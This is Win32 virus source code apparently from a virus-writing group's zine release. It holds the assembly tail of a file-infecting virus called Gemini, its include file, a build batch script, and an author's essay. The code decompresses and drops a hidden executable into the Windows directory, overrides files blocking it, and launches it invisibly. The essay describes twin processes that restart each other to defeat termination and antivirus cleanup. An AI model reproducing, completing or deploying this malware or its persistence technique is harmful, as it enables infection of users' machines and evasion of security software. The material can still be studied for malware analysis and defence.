dd 00000110000101010111100001111100b ; z 01mz 02mr 07mz 03mmm db 2, 1, 4, "Arc" dd 00001010000101000111100000101001b ; z 02mz 03mz 07mz 01r 02 db ((gemini_codeend - offset gemini_exe + expsize + 1fffh) and not 0fffh) shr 8, expsize, 2 dd 10000111000011100001110000110101b ; mz 03mz 03mz 03mz 03r 04 db 1, 1, 1, 1 dd 10001110101001100101001111001111b ; mz 07r 04mmz 0ar 0er 0e db 2, 8, 10h dd 00010110000111000010100001101100b ; z 05mz 03mz 02mz 03r 08 db 10h, ((gemini_codeend - offset gemini_exe + expsize + 1ffh) and not 1ffh) shr 8, 1 dd 00011110000000000000000000000000b ; z 07m db 0e0h dd 0 ;decompressed data follow. 'X' bytes are set to random value every time ; db 'M', 'Z' ;00 ; db "gdi32.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA) ; db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp) ; dw 14ch ;10 04 machine (overload for forwarder chain) ; dw 1 ;12 06 number of sections (overload for forwarder chain) ; dd 2 ;14 08 date/time stamp (overload for dll name RVA) ; dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA) ; db X, X, X, X ;1c 10 number of symbols ; dw 88h ;20 14 size of optional header ; dw 30fh ;22 16 characteristics ; dw 10bh ;24 18 magic ; db X ;26 1a major linker ; db X ;27 1b minor linker ; dd 0 ;28 1c size of code (overload for import table terminator) ; dd 56h ;2c 20 size of init data (overload for import name table RVA) ; dd 0 ;30 24 size of uninit data (overload for import name table terminator) ; dd expsize + 1000h ;34 28 entry point ; db X, X, X, X ;38 2c base of code ; dd 0ch ;3c 30 base of data (overload for lfanew) ; dd 400000h ;40 34 image base ; dd 1000h ;44 38 section align ; dd 200h ;48 3c file align ; db 1, X ;4c 40 major os ; db X, X ;4e 42 minor os ; db X, X ;50 44 major image ; db X, X ;52 46 minor image ; dw 4 ;54 48 major subsys ; dw 0 ;56 4a minor subsys (overload for import name table) ; db "Arc", 0 ;58 4c reserved (overload for import name table) ; dd (aligned size of code) ;5c 50 size of image ; dd expsize ;60 54 size of headers ; dd 0 ;64 58 checksum ; dw 2 ;68 5c subsystem ; db X, X ;6a 5e dll characteristics ; dd 1 ;6c 60 size of stack reserve ; dd 1 ;70 64 size of stack commit ; dd 1 ;74 68 size of heap reserve ; dd 1 ;78 6c size of heap commit ; db X, X, X, X ;7c 70 loader flags ; dd 2 ;80 74 number of rva and sizes (ignored by Windows 9x/Me) ; dd 0 ;84 78 export ; db X, X, X, X ;88 7c export ; dd 1008h ;8c 80 import ; dd 0 ;90 84 import ; dd 0 ;94 88 resource ; db X, X, X, X ;98 8c resource ; db X, X, X, X, X, X, X, X ;9c 90 exception ; db X, X, X, X, X, X, X, X ;a4 98 certificate ; db X, X, X, X, X, X, X, X ;ac a0 base reloc (overload for section name) ; dd 0 ;b4 a8 debug (overload for virtual size) ; dd 1000h ;b8 ac debug (overload for virtual address) ; dd (aligned size of code) ;bc b0 architecture (overload for file size) ; dd 1 ;c0 b4 architecture (overload for file offset) ; db X, X, X, X ;c4 b8 global data (overload for pointer to relocs) ; db X, X, X, X ;c8 bc global data (overload for pointer to line numbers) ; dd 0 ;cc c0 tls (overload for reloc table and line numbers) ; dd 0e0000000h ;d0 c4 tls (overload for section characteristics) ; ;d4 drop_exp label near mov ebx, esp lea esi, dword ptr [edi + offset explabel - offset drop_exp] mov edi, offset gemini_codeend - offset gemini_exe + expsize + 1ffh ;file size must be > end of last section push edi xor ebp, ebp ;GMEM_FIXED push ebp call dword ptr [ebx + expcrcstk.pGlobalAlloc] push eax ;GlobalFree push ebp ;WriteFile push esp ;WriteFile push edi ;WriteFile push ebp ;CreateFileA push ebp ;CreateFileA push CREATE_ALWAYS ;CreateFileA push ebp ;CreateFileA push ebp ;CreateFileA push GENERIC_WRITE ;CreateFileA push eax ;CreateFileA lea ecx, dword ptr [eax + 7fh] push ecx ;MoveFileA push eax ;MoveFileA push eax ;GetFileAttributesA push ebp ;SetFileAttributesA push eax ;SetFileAttributesA push ecx ;DeleteFileA push ecx ;GetTempFileNameA push ebp ;GetTempFileNameA push esp ;GetTempFileNameA push eax ;GetTempFileNameA push edi ;GetWindowsDirectoryA push eax ;GetWindowsDirectoryA xchg ebp, eax call dword ptr [ebx + expcrcstk.pGetWindowsDirectoryA] lea edi, dword ptr [ebp + eax - 1] call dword ptr [ebx + expcrcstk.pGetTempFileNameA] call dword ptr [ebx + expcrcstk.pDeleteFileA] mov al, '\' scas byte ptr [edi] je skip_slash stos byte ptr [edi] ;----------------------------------------------------------------------------- ;append exe name, assumes name is 0ch bytes long ;----------------------------------------------------------------------------- skip_slash label near movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] ;----------------------------------------------------------------------------- ;anti-anti-file dropper - remove read-only attribute, delete file, rename directory ;----------------------------------------------------------------------------- call dword ptr [ebx + expcrcstk.pSetFileAttributesA] call dword ptr [ebx + expcrcstk.pGetFileAttributesA] test al, FILE_ATTRIBUTE_DIRECTORY pop ecx pop eax je skip_move push eax push ecx call dword ptr [ebx + expcrcstk.pMoveFileA] skip_move label near call dword ptr [ebx + expcrcstk.pCreateFileA] push edi ;WriteFile push ebx xchg ebp, eax call dword ptr [ebx + expcrcstk.pGetTickCount] xchg ebx, eax xor ecx, ecx ;----------------------------------------------------------------------------- ;decompress MZ header, PE header, section table, import table ;----------------------------------------------------------------------------- lods dword ptr [esi] copy_bytes label near movs byte ptr [edi], byte ptr [esi] test_bits label near add eax, eax jb copy_bytes add eax, eax sbb dl, dl and dl, bl shld ecx, eax, 4 rol ebx, cl shl eax, 4 xchg edx, eax rep stos byte ptr [edi] xchg edx, eax jne test_bits lods dword ptr [esi] test eax, eax jne test_bits mov cx, offset gemini_codeend - offset gemini_exe sub esi, offset drop_exp - offset gemini_exe rep movs byte ptr [edi], byte ptr [esi] pop ebx push ebp call dword ptr [ebx + expcrcstk.pWriteFile] push ebp call dword ptr [ebx + expcrcstk.pCloseHandle] pop eax push eax inc ebp je host_ret ;allow only 1 copy to run push SW_HIDE push eax call dword ptr [ebx + expcrcstk.pWinExec] host_ret label near add esp, 4 + size expcrcstk popad host_patch label near db 0e9h, 'rgb!' ;must be last bytes in file gemini_codeend label near gemini_exe endp .code dropper label near mov edx, expcrc_count mov ebx, offset expnames mov edi, offset expcrcbegin call create_crcs mov edx, krncrc_count mov ebx, offset krnnames mov edi, offset krncrcbegin call create_crcs mov edx, sfccrc_count mov ebx, offset sfcnames mov edi, offset sfccrcbegin call create_crcs call patch_host xor ebx, ebx push ebx push offset txttitle push offset txtbody push ebx call MessageBoxA push ebx call ExitProcess create_crcs proc near imul ebp, edx, 4 create_loop label near or eax, -1 create_outer label near xor al, byte ptr [ebx] push 8 pop ecx create_inner label near add eax, eax jnb create_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) create_skip label near loop create_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb create_outer push eax dec edx jne create_loop mov eax, esp push ecx push ebp push eax push edi call GetCurrentProcess push eax xchg esi, eax call WriteProcessMemory add esp, ebp ret create_crcs endp end dropper ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GEMINI.ASM]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GEMINI.INC]ÄÄÄ MAX_PATH equ 260 FILE_ATTRIBUTE_DIRECTORY equ 00000010h CREATE_ALWAYS equ 2 OPEN_EXISTING equ 3 GENERIC_WRITE equ 40000000h GENERIC_READ equ 80000000h SW_HIDE equ 0 GMEM_FIXED equ 0 GMEM_ZEROINIT equ 40h STATUS_TIMEOUT equ 102h WAIT_TIMEOUT equ STATUS_TIMEOUT PROCESS_VM_READ equ 10h EVENT_MODIFY_STATE equ 2 SYNCHRONIZE equ 100000h DRIVE_FIXED equ 3 DRIVE_REMOTE equ 4 IMAGE_FILE_MACHINE_I386 equ 14ch ;14d/14e do not exist. if you don't believe, then try it IMAGE_FILE_RELOCS_STRIPPED equ 0001h IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h IMAGE_FILE_32BIT_MACHINE equ 0100h IMAGE_FILE_SYSTEM equ 1000h IMAGE_FILE_DLL equ 2000h IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2 IMAGE_SUBSYSTEM_WINDOWS_CUI equ 3 SECTION_MAP_WRITE equ 0002h FILE_MAP_WRITE equ SECTION_MAP_WRITE PAGE_READWRITE equ 04 SLEEPLEN equ 01 TIMEOUT equ 03 ;seconds to wait for remote process to signal ;should be >= INT((SLEEPLEN * 2.5) + 0.5) RANDPADMIN equ 4096 RANDPADMAX equ 2048 ;RANDPADMIN is added to this align 1 ;byte-packed structures expcrcstk struct pWriteFile dd ? pWinExec dd ? pSetFileAttributesA dd ? pMoveFileA dd ? pGlobalFree dd ? pGlobalAlloc dd ? pGetWindowsDirectoryA dd ? pGetTickCount dd ? pGetTempFileNameA dd ? pGetFileAttributesA dd ? pDeleteFileA dd ? pCreateFileA dd ? pCloseHandle dd ? expcrcstk ends expcrc_count equ size expcrcstk shr 2 krncrcstk struct kWaitForSingleObject dd ? kUnmapViewOfFile dd ? kSleep dd ? kSetFileTime dd ? kSetFileAttributesW dd ? kSetFileAttributesA dd ? kSetEvent dd ? kSetCurrentDirectoryW dd ? kSetCurrentDirectoryA dd ? kResetEvent dd ? kReadProcessMemory dd ? kOpenProcess dd ? kOpenEventA dd ? kMultiByteToWideChar dd ? kMapViewOfFile dd ? kLoadLibraryA dd ? kGlobalFree dd ? kGlobalAlloc dd ? kGetVersion dd ? kGetTickCount dd ? kGetStartupInfoA dd ? kGetFullPathNameW dd ? kGetFullPathNameA dd ? kGetDriveTypeA dd ? kGetCurrentProcessId dd ? kGetCommandLineA dd ? kFindNextFileW dd ? kFindNextFileA dd ? kFindFirstFileW dd ? kFindFirstFileA dd ? kFindClose dd ? kCreateThread dd ? kCreateProcessA dd ? kCreateFileMappingA dd ? kCreateFileW dd ? kCreateFileA dd ? kCreateEventA dd ? kCloseHandle dd ? krncrcstk ends krncrc_count equ size krncrcstk shr 2 sfccrcstk struct sSfcIsFileProtected dd ? sfccrcstk ends sfccrc_count equ size sfccrcstk shr 2 startupinfo struct sicb dd ? siReserved dd ? siDesktop dd ? siTitle dd ? sidwX dd ? sidwY dd ? sidwXSize dd ? sidwYSize dd ? sidwXCountChars dd ? sidwYCountChars dd ? sidwFillAttribute dd ? sidwFlags dd ? siwShowWindow dw ? sicbReserved2 dw ? silpReserved2 dd ? sihStdInput dd ? sihStdOutput dd ? sihStdError dd ? startupinfo ends processinfo struct pihProcess dd ? pihThread dd ? pidwProcessId dd ? pidwThreadId dd ? processinfo ends coffhdr struct pemachine dw ? ;04 pesectcount dw ? ;06 petimedate dd ? ;08 pesymbrva dd ? ;0C pesymbcount dd ? ;10 peopthdrsize dw ? ;14 peflags dw ? ;16 coffhdr ends pedir struct dirrva dd ? dirsize dd ? pedir ends pehdr struct pesig dd ? ;00 pecoff coffhdr pemagic dw ? ;18 pemajorlink db ? ;1A peminorlink db ? ;1B pecodesize dd ? ;1C peidatasize dd ? ;20 peudatasize dd ? ;24 peentrypoint dd ? ;28 pecodebase dd ? ;2C pedatabase dd ? ;30 peimagebase dd ? ;34 pesectalign dd ? ;38 pefilealign dd ? ;3C pemajoros dw ? ;40 peminoros dw ? ;42 pemajorimage dw ? ;44 peminorimage dw ? ;46 pemajorsubsys dw ? ;48 peminorsubsys dw ? ;4A pereserved dd ? ;4C peimagesize dd ? ;50 pehdrsize dd ? ;54 pechksum dd ? ;58 pesubsys dw ? ;5C pedllflags dw ? ;5E pestackmax dd ? ;60 pestacksize dd ? ;64 peheapmax dd ? ;68 peheapsize dd ? ;6C peldrflags dd ? ;70 pervacount dd ? ;74 peexport pedir ;78 peimport pedir ;80 persrc pedir ;88 peexcpt pedir ;90 pesecurity pedir ;98 pereloc pedir ;A0 pedebug pedir ;A8 pearch pedir ;B0 peglobal pedir ;B8 petls pedir ;C0 peconfig pedir ;C8 pebound pedir ;D0 peiat pedir ;D8 pedelay pedir ;E0 pecom pedir ;E8 persrv pedir ;F0 pehdr ends peexp struct expflags dd ? expdatetime dd ? expmajorver dw ? expminorver dw ? expdllrva dd ? expordbase dd ? expadrcount dd ? expnamecount dd ? expadrrva dd ? expnamerva dd ? expordrva dd ? peexp ends mzhdr struct mzsig dw ? ;00 mzpagemod dw ? ;02 mzpagediv dw ? ;04 mzrelocs dw ? ;06 mzhdrsize dw ? ;08 mzminalloc dw ? ;0A mzmaxalloc dw ? ;0C mzss dw ? ;0E mzsp dw ? ;10 mzchksum dw ? ;12 mzip dw ? ;14 mzcs dw ? ;16 mzreloff dw ? ;18 mzfiller db 22h dup (?) ;1A mzlfanew dd ? ;3C mzhdr ends FILETIME struct dwLowDateTime dd ? dwHighDateTime dd ? FILETIME ends WIN32_FIND_DATA struct dwFileAttributes dd ? ftCreationTime FILETIME ftLastAccessTime FILETIME ftLastWriteTime FILETIME dwFileSizeHigh dd ? dwFileSizeLow dd ? dwReserved0 dd ? dwReserved1 dd ? cFileName dw 260 dup (?) cAlternateFileName dw 14 dup (?) WIN32_FIND_DATA ends findlist struct findprev dd ? findhand dd ? finddata WIN32_FIND_DATA findlist ends sehstruc struct sehkrnlret dd ? sehexcptrec dd ? sehprevseh dd ? sehstruc ends pesect struct sectname db 8 dup (?) sectvirtsize dd ? sectvirtaddr dd ? sectrawsize dd ? sectrawaddr dd ? sectreladdr dd ? sectlineaddr dd ? sectrelcount dw ? sectlinecount dw ? sectflags dd ? pesect ends mapsehstk struct mapsehprev dd ? mapsehexcpt dd ? mapsehregs dd 8 dup (?) mapsehsehret dd ? mapsehinfret dd ? mapsehstk ends infectstk struct inffilesize dd ? infseh mapsehstk infectstk ends align ;restore default alignment ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GEMINI.INC]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[TWINS.TXT]ÄÄÄ I get by with a little help from my friends roy g biv / defjam -= defjam =- since 1992 bringing you the viruses of tomorrow today! About the author: Former DOS/Win16 virus writer, author of several virus families, including Ginger (see Coderz #1 zine for terrible buggy example, contact me for better sources ;), and Virus Bulletin 9/95 for a description of what they called Rainbow. Co-author of world's first virus using circular partition trick (Orsam, coded with Prototype in 1993). Designer of the world's first XMS swapping virus (John Galt, coded by RTFishel in 1995, only 30 bytes stub, the rest is swapped out). Author of world's first virus using Thread Local Storage for replication (Shrug) and world's first Native executable virus (Chthon). Author of various retrovirus articles (eg see Vlad #7 for the strings that make your code invisible to TBScan). Went to sleep for a number of years. This is my fifth virus for Win32. I'm also available for joining a group. Just in case anyone is interested. ;) What is process co-operation? Process co-operation is a technique where one process verifies the state of another process, and the other process verifies the state of the one process. There can also be more than two processes involved. If we consider the case of two processses, one process is called "Local" and the other process is called "Remote", then the Local process can ensure that the Remote process is still running; the Local process can ensure that the Remote process is still active (that is has not been suspended); the Local process can ensure that the Remote process has not been altered. If the Remote process has been altered or terminated, then the Local process can start a new instance of the Remote process; if the Remote process has been suspended, then the Local process can resume the Remote process or start a new instance of the Remote process. If the Remote process contains the same code, then the Remote process can ensure the same things about the Local process and perform the same actions in response. This makes it a very powerful technique to protect against forced termination and "disinfection" of the memory image by AV softwares. This is not a new technique, but this seems to be the first time on Windows. The earliest reference that I found is the mid 1970s (older than me ;) ). (www.tuxedo.org/~esr/jargon/jargon.html#The%20Meaning%20of%20Hack) Let's see the algorithm for one process that runs as two instances. First there is some startup code: if argc == 1 ;first time execution { restart: do { event1 = true ;set initial states event2 = false ;set intial states pid2 = run(process2, pid1) ;run second instance } while !wait (event2, timeout) ;loop if Remote process dies } So now we have two instances running. We enter the main loop: process 1 (Local) process 2 (Remote) do do { { if event1 if event2 break break event2 = false event1 = false if !checksum(pid2) if !checksum(pid1) break break event1 = true event2 = true } } while wait (event2, timeout) while wait (event1, timeout) goto restart goto restart Let's examine line by line: if event1 break If the Local event was not reset by the Remote process, then we think that the Remote process is suspended or terminated, so we exit the loop and restart the Remote process. event2 = false Reset the Remote event. Dis is one half ;) of the "I'm alive" checking. if !checksum(pid2) break If the Remote checksum fails then the memory image of the Remote process has been altered, so we exit the loop and restart the Remote process. event1 = true Set the Local event. This is the other half of the "I'm alive" checking. while wait (event2, timeout) Loop while Remote event signals before timeout expires. That's it. So simple. We are ready for ourselves. Are you? Greets to the old Defjam crew: Prototype, RTFishel, Obleak, and The Gingerbread Man rgb/dj feb 2002 iam_rgb@hotmail.com ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[TWINS.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ @echo off if %1.==. goto usage %tasm32%\bin\tasm32 /r /ml /m9 /os /p /q /w2 /zn %1 if errorlevel 1 goto end %tasm32%\bin\tlink32 /c /B:400000 /Tpe /aa /x /n %1.obj,,,%tasm32%\lib\import32.lib, del %1.obj goto end :usage echo. echo Usage: MAKE filename echo eg. MAKE EFISHNC echo requires %tasm32% set to TASM directory (eg C:\TASM) :end echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ